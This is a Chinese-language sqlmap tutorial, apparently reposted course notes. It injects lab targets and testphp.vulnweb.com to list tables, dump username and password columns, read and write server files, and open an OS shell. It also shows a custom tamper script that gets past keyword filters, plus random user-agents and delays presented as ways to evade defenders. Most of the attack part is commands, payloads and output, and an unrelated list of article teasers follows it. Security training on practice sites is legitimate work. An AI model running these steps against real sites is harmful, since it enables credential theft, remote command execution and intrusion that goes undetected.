注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构在这里插入图片描述

#知识点:

1、SQLMAP-常规猜解&字典配置
2、SQLMAP-权限操作&文件命令
3、SQLMAP-Tamper&使用&开发
4、SQLMAP-调试指纹&风险等级

#参考文章:

https://www.cnblogs.com/bmjoker/p/9326258.html

#数据猜解-库表列数据&字典

测试:http://vulnweb.com/
–current-db
–tables -D “”
–columns -T “” -D “”
–dump -C “” -C “” -T “”

1.IIS, ASP, Microsoft SQL Server(ACCESS数据库)

  • http://192.168.200.140:89/Pic.asp?classid=3
1.打开对应的UploadParsing网址,并使用其分配的IP进行访问

Untitled

2.源码中,没有进行sql语句的过滤直接拼接,造成有注入风险
  • http://192.168.200.140:89**/Pic.asp?classid=3**

    Untitled

3.使用sqlmap工具进行sql注入
  • G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap

  • **python sqlmap.py -u "" --tables** //获取表名
    python sqlmap.py -u "" --cloumns -T admin //获取admin表名下的列名
    **python sqlmap.py -u "" --dump -C "username,password" -T admin** //获取表名下的列名数据

  • python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --tables

    • python .\\sqlmap.py: 启动 SQLMap 工具,使用 Python 解释器运行。

    • u "<http://192.168.200.140:89/Pic.asp?classid=3>": 指定目标 URL,即要测试的网站地址。在这个例子中,目标 URL 是 http://192.168.200.140:89/Pic.asp?classid=3u 选项用于指定 URL。

    • -tables: 指定 SQLMap 工具执行的任务,这里是获取数据库中的所有表。-tables 选项用于请求表的信息。

    • 提示有注入点

      Untitled

  • 它询问是否要使用常见的表存在性检查方法

    • do you want to use common table existence check? [Y/n/q] y

    • 选择要使用的常见表文件的提示。用户可以选择默认的常见表文件,也可以选择自定义的常见表文件。

    • 询问用户要设置多少个线程进行测试

    • please enter number of threads? [Enter for 1 (current)] 输入10

      Untitled

Untitled

Untitled

  • python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --columns -T admin

    • -columns: 这是 SQLMap 的一个选项,用于指示工具查找指定表的列。

    • T admin: 这是 SQLMap 的另一个选项,用于指定目标表的名称。在这里,它是 “admin” 表。

      Untitled

      Untitled

  • python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --dump -C "username,password" -T admin

    • -dump: 这是 SQLMap 的选项,用于指示工具从数据库中检索数据。

    • C "username,password": 这是 SQLMap 的选项,用于指定要检索的列的名称。在这里,它是 “username” 和 “password” 列。

    • 得出如下的用户名和密码

      Untitled

  • 如果修改数据库的表名

  • 将原本的数据库中的Admin表表名修改为Adminxaiodi

  • 将相关缓存输出目录删除,继续查询

Untitled

  • 再次输入**python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --tables 查询表名,发现无法测出Adminxiaodi表名**

  • 原因是:使用猜测的字典中没有相关Adminxiaodi表名,所以猜不出

  • 方法:手动添加字典内容

    • 字典位置:G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap\data\txt

    • 添加内容:adminxiaodi

    • 重新运行,成功猜出

      Untitled

      Untitled

      Untitled

      Untitled

      Untitled

      Untitled

  • 猜测完毕之后,sqlmap会自动将猜测出的东西,以提供的ip名或域名,以表格的形式存储在本地,可以直接查看

    Untitled

    Untitled

2.Apache, PHP, MySQL(普通权限)

  • http://testphp.vulnweb.com/artists.php**?artist=1(有注入漏洞)**

    Untitled

  • python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” –is-dba是否是数据库管理员)(会误报)

  • 输出显示 current user is DBA: False这表示当前数据库用户不是数据库管理员。

    分析这个结果的意义如下:

    • current user is DBA: False: 当前数据库用户并非数据库管理员。数据库管理员通常具有更高的权限,可以执行更敏感的数据库操作。

    这个信息是 SQLMap 在测试过程中根据数据库的反馈来判断的。在安全测试中,了解当前用户是否是数据库管理员对于评估系统的安全性和潜在的漏洞是重要的一部分。如果 --is-dba 结果为 True,则表明当前用户是数据库管理员,可能具有更大的潜在威胁。

    Untitled

  • python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” –current-user==(获取当前用户名称,推荐使用)==

Untitled

1.python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” 使用 SQLMap 对提供的 URL 进行 SQL 注入测试
  • 这个命令的目的是使用 SQLMap 对提供的 URL 进行 SQL 注入测试。SQLMap 将自动尝试检测目标 URL 是否存在 SQL 注入漏洞
  • **heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL')**这个分析结果是 SQLMap 对目标 URL 进行启发式(基本)测试后得出的结论
    • GET parameter 'artist' might be injectable: SQLMap 发现 GET 请求中的参数 ‘artist’ 可能是可注入的。
    • Possible DBMS: ‘MySQL’: SQLMap 进一步猜测目标数据库管理系统**(DBMS)可能是 MySQL。**

Untitled

  • GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable

    • GET parameter ‘artist’ appears to be ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’ injectable: ==SQLMap 发现 ‘artist’ 参数可能受到 MySQL 版本大于等于 5.0.12 的时间盲注入漏洞的影响。==时间盲注入是一种 SQL 注入技巧,注入点插入类似 AND SLEEP(5) 的语句,来测试是否导致页面在执行时发生延迟。
    1. “Do you want to skip test payloads specific for other DBMSes? [Y/n]”: SQLMap 提供了一个选择,询问是否要跳过针对其他数据库管理系统的特定测试负载。在这里,如果您确认目标系统是 MySQL,并且希望专注于 MySQL 测试,可==以选择 “Y”(Yes),跳过其他 DBMS 的测试。==
    2. “For the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]”: SQLMap 进一步询问是否在剩余的测试中包括所有针对 ‘MySQL’ 的测试,同时扩展提供的 level(级别)和 risk(风险)值。在这里,如果您希望执行更全面的 MySQL 测试并扩展默认的测试级别和风险值,可以选择 “Y”(Yes)。

    Untitled

Untitled

  • GET parameter ‘artist’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]

    • GET parameter ‘artist’ is vulnerable: SQLMap 确认 ‘artist’ 参数存在漏洞,即可被注入。这可能是通过前面的测试(包括时间盲注入测试)得出的结论。

    • Do you want to keep testing the others (if any)? [y/N]: SQLMap 提供了一个选择,询问是否要继续测试其他参数(如果有的话)。在这里,它询问用户是否想要继续探测其他可能存在漏洞的参数。选择 “y” 表示继续测试其他参数,

    • 得到的结论:

      1. Injection Points:
        SQLMap已经识别了一个注入点,即 GET 参数 ‘artist’。它在测试中使用了不同类型的注入测试负载来验证漏洞的存在。
      2. Boolean-based Blind Injection:
        • Type: 基于布尔的盲注(boolean-based blind)
        • Title: 使用 WHERE 或 HAVING 子句的布尔盲注
        • Payload: artist=1 AND 3483=3483
      3. Time-based Blind Injection:
        • Type: 基于时间的盲注(time-based blind)
        • Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        • Payload: artist=1 AND (SELECT 5089 FROM (SELECT(SLEEP(5)))hRNW)
      4. UNION Query Injection:
        • Type: UNION 查询注入
        • Title: 通用 UNION 查询 (NULL) - 3 列
        • Payload: artist=-1425 UNION ALL SELECT CONCAT(0x717a706a71,0x4b4c4e714344494b55456f706c6c556f5968514e647a74536f72444975414d5a6c4a5a446756726c,0x7176787171),NULL,NULL-- -
      5. Back-end DBMS Information:
        • SQLMap 进一步确认后端数据库管理系统 (DBMS) 是 MySQL,且版本是大于等于 5.0.12。
      6. Web Server and Application Information:
        • Web 服务器操作系统:Linux Ubuntu
        • Web 应用程序技术:Nginx 1.19.0, PHP 5.6.40

      Untitled

2.由于MySQL数据库,存在多种表,在检测时候应先使用:ppython sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” –current-db 表示要获取当前数据库的名称。
  • 如果直接使用python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” –tables 查询所有数据库名称 显示的会特别杂乱

    Untitled

  • –current-db 表示要获取当前数据库的名称。 会简洁许多,定位在想要注入的数据库中

Untitled

3.python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” --tables -D “acuart” 并尝试获取指定数据库(“acuart”)中的所有表的名称。

Untitled

4.python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” --columns -T “users” (对指定表(“users” )进行测试,并尝试获取该表的所有列的名称)

Untitled

5.python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” --dump -C “name,pass” --columns -T “users”(从指定表 (“users”) 中的指定列 (“name” 和 “pass”) 中检索数据,并将结果输出。)
  • 数据以表格形式保存在本地

Untitled

Untitled

#权限操作-文件&命令&交互式

测试:MYSQL高权限注入
引出权限:
–is-dba(误报) --privileges(只能通过很多false或者true判断,不明显)

推荐使用–current-user

引出文件:
–file-read --file-write --file-dest
引出命令:
–os-cmd= --os-shell --sql-shell

1.判断权限:python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” –is-dba(是否是数据库管理员)(会误报)或者==–current-user(获取当前用户名称,推荐)==

  • current user: 'root@localhost’,代表是最高权限Root权限

Untitled

Untitled

2.判断是否可注入:python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1"使用 SQLMap 对提供的 URL 进行 SQL 注入测试

  • 存在注入点
  • 且为MySQL数据库

Untitled

Untitled

3.引出命令:

–os-cmd=(在目标系统上执行操作系统命令)
–os-shell (获取一个操作系统 shell(命令行)连接)
–sql-shell**(执行SQL命令)**

  • –sql-shell (执行SQL命令)

    • select version(); (获取数据库版本信息)

      Untitled

    • select * from admin; (查询表的信息)

      Untitled

    • 输入exit退出

  • –os-cmd= (在目标系统上执行操作系统命令)

    • –os-cmd=calc (执行计算器)

      • 询问语言(直接回车默认即可

        Untitled

      • 路径自动查询失败,选则2(自定义路径)

      • 并输入对应文件名的相关目录:(注意:直接输入路径即可,不用带引号)G:\develop\safety\phpstudy_pro\WWW\dome01

        Untitled

      • do you want to retrieve the command standard output? [Y/n/a]在 SQLMap 执行期间询问是否要获取命令的标准输出(command standard output)(输入a即可)

      Untitled

      Untitled

  • –os-shell (获取一个操作系统 shell(命令行)连接)

    • 询问语言(直接回车默认即可

      Untitled

    • 路径自动查询失败,选则2(自定义路径)

    • 并输入对应文件名的相关目录:(注意:直接输入路径即可,不用带引号)G:\develop\safety\phpstudy_pro\WWW\dome01

      Untitled

    • os-shell> ver显示当前操作系统的版本信息)并输入y,得到回显

      Untitled

    • os-shell> ipconfig (显示ip地址)并输入a或y

      Untitled

4.引出文件:

–file-read**(文件读取)**
–file-write --file-dest(写入操作)

  • **--file-read (文件读取)**

    • **--file-read "f:\\1.txt”** 读取F盘的文件1.txt

      • do you want confirmation that the remote file ‘f:/1.txt’ has been successfully downloaded from the back-end DBMS file system? [Y/n] y

      • SQLMap 在执行时询问是否要确认从后端数据库管理系统(DBMS)文件系统成功下载了指定的远程文件 ‘f:/1.txt’。以下是对选项的解释:

        • Y (Yes): 表示你同意获取确认,以验证文件是否已成功从后端 DBMS 文件系统下载。如果选择了这个选项,SQLMap 将尝试验证文件的下载。

        Untitled

    • 打开保存的文件,发现成功读取

      Untitled

  • --file-write--file-dest 是 SQLMap 中用于执行文件写入操作的选项。

    • –file-write:此选项用于指定要写入的文件的内容。你需要提供一个文件的内容或者文件路径,SQLMap 将尝试将该内容写入目标文件。

    • –file-dest:此选项用于指定要写入内容的目标文件路径。你需要提供要写入的文件的目标路径,SQLMap 将尝试将指定的内容写入该文件。

      python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" **--file-write="f:\\1.txt" --file-dest="c:\\123.txt"**

这个命令的目的是将指定的内容(“f:\1.txt”)写入 ‘c:\123.txt’ 文件。

Untitled

Untitled

#提交方法-POST&HEAD&JSON

测试:Post Cookie Json
–data “”
–cookie “”
-r 1.txt(推荐使用)

1.在处理POST请求的时候,应该首先在页面测试

2.输入用户名和密码进行登录提交表单的测试

Untitled

3.并进行抓包,查看对应==登录文件中负载的表单数据格式==

4.普通的字符串格式:”uname=test&pass=test”

Untitled

–data “”
  • 该选项用于指定要发送的 POST 数据。在你的命令中,--data 的值被设置为空字符串,表示没有提供具体的 POST 数据。通常,你需要在引号内提供实际的 POST 数据,例如 **--data "**uname=test&pass=test**"**

  • 注意:指定URL需要指定,接受POST数据的URL,而不是登录的URL

    • 是:http://testphp.vulnweb.com/userinfo.php(抓取到包中是有负载数据,才是目标URL)

    Untitled

Untitled

  • python sqlmap.py -u “http://testphp.vulnweb.com/userinfo.php” --data "uname=test&pass=test"
    • u "http://testphp.vulnweb.com/userinfo.php":
      • 指定目标 URL,这里是登录页面的 URL。
    • -data "uname=test&pass=test":
      • 指定 POST 请求的数据,这里是用户名 uname 和密码 pass,分别设置为 “test”。
  • 成功实现POST数据注入:

Untitled

–cookie “”(原理一样,只做data的演示)
  • 该选项用于指定要发送的 Cookie 信息。在你的命令中,--cookie 的值也被设置为空字符串,表示没有提供具体的 Cookie 信息。通常,你需要在引号内提供实际的 Cookie 信息,例如 --cookie "sessionID=123456"
推荐使用-r 1.txt
  • 该选项用于从文件中读取请求内容。在你的命令中,-r 后面的值是文件路径(1.txt),表示 SQLMap 将从该文件中读取请求内容,包括请求头和请求体
  1. 首先进行页面测试,并进行抓包

  2. 在抓包内容下查看,携带POST请求数据的页面:http://testphp.vulnweb.com**/userinfo.php**

  3. 选中对应的页面数据包,复制请求标头

  4. 复制请求数据包:uname=test&pass=test

  5. 将复制的东西,创建一个head.txt文件,并存放在sqlmap的目录下G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap

  6. 将请求数据包中的数据,用*打上注入点,这样方便快捷注入image-20240221214848782

    1. 如果没有注入点,自动注入,无法确定在哪里注入,会浪费很多时间
  7. 打开sqlmap,实行注入:python sqlmap.py-r .\head.txt

    1. 空格默认

      • QLMap 正在测试一个自定义的 POST 参数 #1*,以确定它是否是动态生成的。

      • got a 302 redirect to 'http://testphp.vulnweb.com:80/login.php':

        • 在测试过程中,得到了一个 HTTP 302 重定向到 'http://testphp.vulnweb.com:80/login.php'
      • Do you want to follow? [Y/n]:

        • SQLMap 询问是否要跟随这个重定向。即是否要按照新的 URL 继续测试。

          Untitled

  8. 成功注入

Untitled

Untitled

Untitled

Untitled

5.json格式:{“username”:“admin”,“password”:“123456”}

Untitled

  1. 抓包,指定URL:http://192.168.137.1:84/sqli/json_check.php

  2. 选中对应的页面数据包,复制请求标头

  3. 复制数据包:

    {
    “username”: “admin”,
    “password”: “123456”
    }

  4. 将复制的东西,==创建一个json.txt==文件,并存放在sqlmap的目录下G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap

  5. 将请求数据包中的数据,用*打上注入点,这样方便快捷注入

    1. 如果没有注入点,自动注入,无法确定在哪里注入,会浪费很多时间

      {
      “username”: “admin*****”,
      “password”: “123456*****”
      }

  6. 打开sqlmap,实行注入:python sqlmap.py-r .\json.txt

  7. SQLMap 发现了多个注入点,并要求你选择一个用于后续注入测试的注入点。以下是对该提示的解释:默认选0即可

    • [0] place: (custom) POST, parameter: JSON #1*, type: Single quoted string (default):

      • 选项 0 表示注入点位于自定义 POST 请求的 JSON 参数 #1*,类型是单引号字符串。这是默认选择。
    • [1] place: (custom) POST, parameter: JSON #2*, type: Single quoted string:

      • 选项 1 表示注入点位于自定义 POST 请求的 JSON 参数 #2*,类型是单引号字符串。
    • [q] Quit:

      • 选项 q 表示退出选择,不选择任何注入点。

        Untitled

Untitled

Untitled

Untitled

6.无论哪种格式,为了保证数据包完整性都推荐使用-r 1.txt

  • 该选项用于从文件中读取请求内容。在你的命令中,-r 后面的值是文件路径(1.txt),表示 SQLMap 将从该文件中读取请求内容,包括请求头和请求体

  • 如果是json格式的POST数据包,使用–data去注入存在以下问题

    • 抓包,指定URL:http://192.168.137.1:84/sqli/json_check.php

    • 复制数据包:{“username”:“admin”,“password”:“123456”}

    • 打开sqlmap,实行注入:python sqlmap.py -u "http://192.168.137.1:84/sqli/json_check.php" --data "{"username":"admin","password":"123456"}"

      Untitled

    • **报错all tested parameters do not appear to be injectable😗*所有测试过的参数似乎都不可注入。

      Untitled

    • 原因:由于引号的影响,无法正确的读取参数,插入注入点,所以报错无法注入或没有注入点

      Untitled

    • 即使加入*,标明注入点,依旧无法正常注入

    Untitled

    Untitled

#绕过模块-Tamper脚本-使用&开发

测试:base64注入 有过滤的注入
–tamper=base64encode.py
–tamper=test.py

Tamper脚本使用

1.测试GET页面,抓包,选中带有负载数据的页面http://192.168.137.1:84/sqli/base64.php?id=MQ==

Untitled

Untitled

2.由于注入页面中有id=MQ==,判定是base64加密后的数据
3.实行sqlmap执行查看注入点:python sqlmap.py -u "http://192.168.137.1:84/sqli/base64.php?id=MQ=="
4.报错无注入点:原因base64编码,导致注入语句怎样拼接都无法成功解码注入

Untitled

Untitled

5.采用sqlmap中自带的Tamper脚本,解决base64编码解码问题

Untitled

Untitled

Untitled

6.引入Tamper脚本base64encode.py,再次实行注入:python sqlmap.py -u “http://192.168.137.1:84/sqli/base64.php?id=MQ==” –tamper=base64encode.py成功注入

Untitled

Untitled

Tamper脚本开发思路:

(1)前期分析检测判断过滤条件,
(2)分析过滤条件实行转换为对应的python代码,
(3)将代码放入sqlmap实验是否可以绕过过滤

1.在代码中,开启对于一些注入语句的关键词,进行过滤

Untitled

Untitled

2.抓包,指定url,使用sqlmap,查看注入点:python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" 报错,由于网址开启了过滤条件,无法正常注入

Untitled

Untitled

3.随便在Tamper脚本中,复制一个模板,修改模板编写自己想要过滤的条件代码
# 导入 SQLMap 中定义的优先级枚举
from lib.core.enums import PRIORITY# 设置 tamper 脚本的优先级为低(LOW)
**priority** = PRIORITY.LOW# 定义一个空的函数 dependencies,用于声明脚本的依赖关系,这里没有具体的实现。
def dependencies():pass# 定义 tamper 函数,它接受一个 payload 参数和其他关键字参数。
def tamper(payload, **kwargs):# 如果存在有效的 payloadif payload:**# 替换 payload 中的一些 SQL 注入关键字,试图绕过过滤机制payload = payload.replace('SELECT', 'sElEct')payload = payload.replace('OR', 'Or')payload = payload.replace('AND', 'And')payload = payload.replace('SLEEP', 'SleeP')payload = payload.replace('ELT', 'Elt')**# 返回处理后的 payloadreturn payload
4.将编写好的Tamper脚本,放置在sqlmap中的tamper目录下G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap\tamper 并开启sqlmap进行注入:**python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” –tamper=test 成功注入

Untitled

Untitled

Untitled

#分析拓展-代理&调试&指纹&风险&等级)

1、后期分析调试:

v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容

-v (0-6) 查看创建的Tamper脚本是否生效

对比前后是否使用Tamper脚本,的注入符号

  • 不使用Tamper脚本python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -v 4

Untitled

Untitled

  • 使用Tamper脚本python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -tamper=test -v 4

Untitled

  • 发现使用脚本前后,注入符号由OR更改为Or,证明脚本执行成功

2、–proxy “http://xx:xx” #代理注入

  • python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” --level=3 --risk=2 –proxy “http://127.0.0.1:8080/”
  1. 确认关闭代理后,打开burp,将对应的代理的URL,使用 –proxy语句跟在sqlmap执行语句之后;

  2. 发现burp中接受到注入的的数据包,便于后期分析注入原理。

    Untitled

3、打乱默认指纹:

–user-agent “” #自定义user-agent
–random-agent #随机user-agent

  • 面试问题:由于显示的数据包user-agent会携带一些**固有流量特征**,会被蓝队进行防护和识别。

    • sqlmap的固有流量特征数据包user-agent中会默认其版本号

    • User-agent: sqlmap/1.7.2.16#dev (https://sqlmap.org)

      Untitled

  • 解决方式:通过自定义或者随机ua头,避免被过滤

    • 通过自定义user-agent:--user-agent ""

    • 随机user-agent:python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -v 4 –random-agent

      Untitled

      Untitled

  • 面试问题:一个网址访问过快,大量的请求,频繁的扫描行为,可能引起网络防御工具的注意。

  • 解决方式:使用延迟响应语句python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -v 4 --random-agent –time-sec=(2,5)

--time-sec=5#延迟响应,默认迟为5秒。

  • -time-sec=5 是sqlmap的一个命令行选项,用于指定在检测过程中用于基于时间的盲注攻击的时间延迟范围。设置了时间延迟的范围,以使sqlmap能够在进行基于时间的盲注攻击时更灵活地进行操作。时间延迟是在进行盲注时,根据响应的延迟时间来判断是否成功执行了SQL语句

    Untitled

4、风险等级:–level --risk等级限制

–level=(1-5) #要执行的测试水平等级,默认为1
–risk=(0-3) #测试执行的风险等级,默认为1

Untitled

  • 总结:在使用盲注扫描注入点的时候,可以将规则等级进行设置提示,可能会扫到其他的注入点。
  1. 将源码设置为两个可注入点:分别为idUser-Agent

    Untitled

  2. 当使用sqlmap进行扫描的时候,不使用自己创建的Tamper脚本,默认扫描注入点:

    1. 首先使用默认等级进行扫描:

      1. python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1”

      2. 发现有过滤,无法寻找到注入点

        Untitled

      Untitled

    2. 在执行代码后==规定等级:==**--level=3(测试水平等级)** --risk=2(执行的风险等级) python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” --level=3 --risk=2

      1. 发现找到注入点:但是不是先前判断的id注入点,而是不知晓的User-Agent
      2. 原因:使用高等级的规则进行查询扫描注入点的时候,又可能会扫描到其他注入点

      Untitled

      Untitled

AgAABTZwlSIrkRUmReVN9ZM0JO8xKbIA.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/701722.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

代码随想录刷题第41天

首先是01背包的基础理论&#xff0c;背包问题&#xff0c;即如何在有限数量的货物中选取使具有一定容量的背包中所装货物价值最大。使用动规五步曲进行分析&#xff0c;使用二维数组do[i][j]表示下标从0到i货物装在容量为j背包中的最大价值&#xff0c;dp[i][j]可由不放物品i&a…

wpf 数据绑定 数据转换

1.概要 数据绑定&#xff0c;有时候绑定的数据源和目标的数据类型不同&#xff0c;这时候就需要转换。 2.代码 2.1 xaml(eXtensible Application Markup Language) 可扩展应用程序标记语言 <Window x:Class"WpfApp6.MainWindow"xmlns"http://schemas.mi…

【设计模式】策略模式及函数式编程的替代

本文介绍策略模式以及使用函数式编程替代简单的策略模式。 策略模式 在策略模式&#xff08;Strategy Pattern&#xff09;中一个类的行为或其算法可以在运行时更改。这种类型的设计模式属于行为型模式。 在策略模式定义了一系列算法或策略&#xff0c;并将每个算法封装在独立…

《论文阅读》利用提取的情感原因提高共情对话生成的内容相关性 CCL 2022

《论文阅读》利用提取的情感原因提高共情对话生成的内容相关性 前言简介模型架构情绪识别情绪原因提取实验结果示例总结前言 亲身阅读感受分享,细节画图解释,再也不用担心看不懂论文啦~ 无抄袭,无复制,纯手工敲击键盘~ 今天为大家带来的是《Using Extracted Emotion Caus…

Day04 嵌入式---基本定时器

定时器概述 1、软件定时原理 使⽤纯软件的⽅式实现定时功能。 存在的问题&#xff1a;定时不太精准。CPU死等。 1&#xff09;压栈出栈需要花费时间 2&#xff09;ARM流⽔线体系架构的原因 2、定时器定时原理 使用精准的时基&#xff0c;通过硬件方式&#xff0c;实现定…

3d Slicer软件一种新的体绘制方式

vtk Multi-Volumne试验性体绘制方式&#xff0c;细节更丰富&#xff0c;影像更清晰&#xff0c;值得学习使用

前端本地化部署

前言 现在成熟的前端团队里面都有自己的内部构建平台&#xff0c;我司云长便是我们 CI/CD 的提效利器。我先来简单介绍下我司的云长&#xff0c;此云长非彼云长&#xff0c;云长主要做的是&#xff1a;获取部署的项目&#xff0c;分支&#xff0c;环境基本信息后开始拉取代码&…

Java ExecutorService 线程池(IO密集型、CPU密集型建议)

注&#xff1a;这是我很久之前在博客里面看到的&#xff0c;忘记是哪一篇了&#xff0c;分享一下 测试响应耗时 private String test1() {try {Thread.sleep(100);} catch (InterruptedException e) {e.printStackTrace();}return "test1";}private String test2() …

java基于redis实现分布式锁

文章目录 前言一、redis二、Redisson1.引入库2. 分布式锁3. 锁自动续期 总结 前言 上篇文章介绍了Java中锁的应用,在SpringBoot单体应用中完全够用,但是SpringCloud微服务集群中就力所不及了。 我的使用场景是某些微服务应用中使用spring注解的形式来完成定时任务的功能,服务集…

C++-带你走进多态(1)

1. 多态的概念 1.1 概念 多态的概念&#xff1a;通俗来说&#xff0c;就是多种形态&#xff0c;具体点就是去完成某个行为&#xff0c;当不同的对象去完成时会产生出不同的状态。 举个栗子&#xff1a;比如买票这个行为&#xff0c;当普通人买票时&#xff0c;是全价买票&am…

Jenkins解决Host key verification failed (2)

Jenkins解决Host key verification failed 分析原因情况 一、用OpenSSH的人都知ssh会把你每个你访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时&#xff0c;OpenSSH会核对公钥。如果公钥不同&#xff0c;OpenSSH会发出警告&#xff0c;避免…

Spring中关于事务的一些方方面面

事务隔离级别&#xff1a; 先了解一些事务隔离级别有哪些&#xff1a; 未提交读(Read Uncommitted)&#xff1a; 允许脏读&#xff0c;也就是可能读取到其他会话中未提交事务修改的数据 提交读(Read Committed)&#xff1a; 只能读取到已经提交的数据。Oracle等多数数据库默…

车载电子电器架构 —— OEM基础技术概念开发流程

车载电子电器架构 —— 基础技术概念开发 我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 屏蔽力是信息过载时代一个人的特殊竞争力,任何消耗你的人和事,多看一眼都是你的不对。非必要不费力证明…

Linux之JAVA环境配置jdkTomcatMySQL

目录 一. 安装jdk 1.1 查询是否有jdk 1.2 解压 1.3 配置环境变量 二. 安装Tomcat&#xff08;开机自启动&#xff09; 2.1 解压 2.2 启动tomcat 2.3 防火墙设置 2.4 创建启动脚本&#xff08;设置自启动&#xff0c;服务器开启即启动&#xff09; 三. MySQL安装&#xff08;…

vscode使用restClient实现各种http请求

vscode使用restClient实现各种http请求 一&#xff0c;安装插件 首先&#xff0c;我们要在vscode的扩展中&#xff0c;搜索rest Client&#xff0c;然后安装它&#xff0c;这里我已经安装过了。 安装后&#xff0c;我们就可以使用rest client插件进行http各种操作了。 二&…

二分图匹配详解

二分图的原始模型及相关概念 二分图又称作二部图&#xff0c;是图论中的一种特殊模型。 设G(V,E)G(V,E)是一个无向图。 如顶点集V可分割为两个互不相交的子集&#xff08;A, B&#xff09;&#xff0c;并且图中每条边(i&#xff0c;j)所关联的两个顶点 i 和 j 就都分属两个不…

定时任务处理-Spring Task

目录 1 前言 2 cron表达式 2.1 相关概念的介绍 2.2 举个例子(白雪警告) 2.3 使用网站自动生成 3 Spring Task的使用 3.1 导入依赖坐标 3.2 开启任务调度 3.3 自定义定时任务类 1 前言 当我们需要处理一些定时任务的时候就需要用到我们的Spring Task&#xff0c;接下来…

(done) 两个矩阵 “相似” 是什么意思?

参考视频&#xff1a;https://www.bilibili.com/video/BV1zu411673J/?spm_id_from333.337.search-card.all.click&vd_source7a1a0bc74158c6993c7355c5490fc600 参考资料&#xff1a;https://baike.baidu.com/item/%E7%9B%B8%E4%BC%BC%E7%9F%A9%E9%98%B5/10369874?frge_a…

小波变换模拟

小波变换是一种信号处理技术&#xff0c;通过在时间-频率域中使用基于小波的函数进行信号分析。小波变换在处理非平稳信号和图像时特别有用&#xff0c;可以将信号分解为不同频率的成分。它在数据压缩、去噪、特征提取等领域有广泛应用。 MATLAB中提供了用于二维离散小波变换的…

css4浮动+清除浮动

浮动 一.常见网页布局1.三种布局方式2.布局准则 二.浮动&#xff08;float&#xff09;1.好处2.概念3.三大特性4.使用5.常见网页布局模板6.注意点 三.清除浮动1.why2.本质3.语法4.四种way&#xff08;后三个都是给父级添加&#xff09;清除浮动总结 一.常见网页布局 1.三种布局…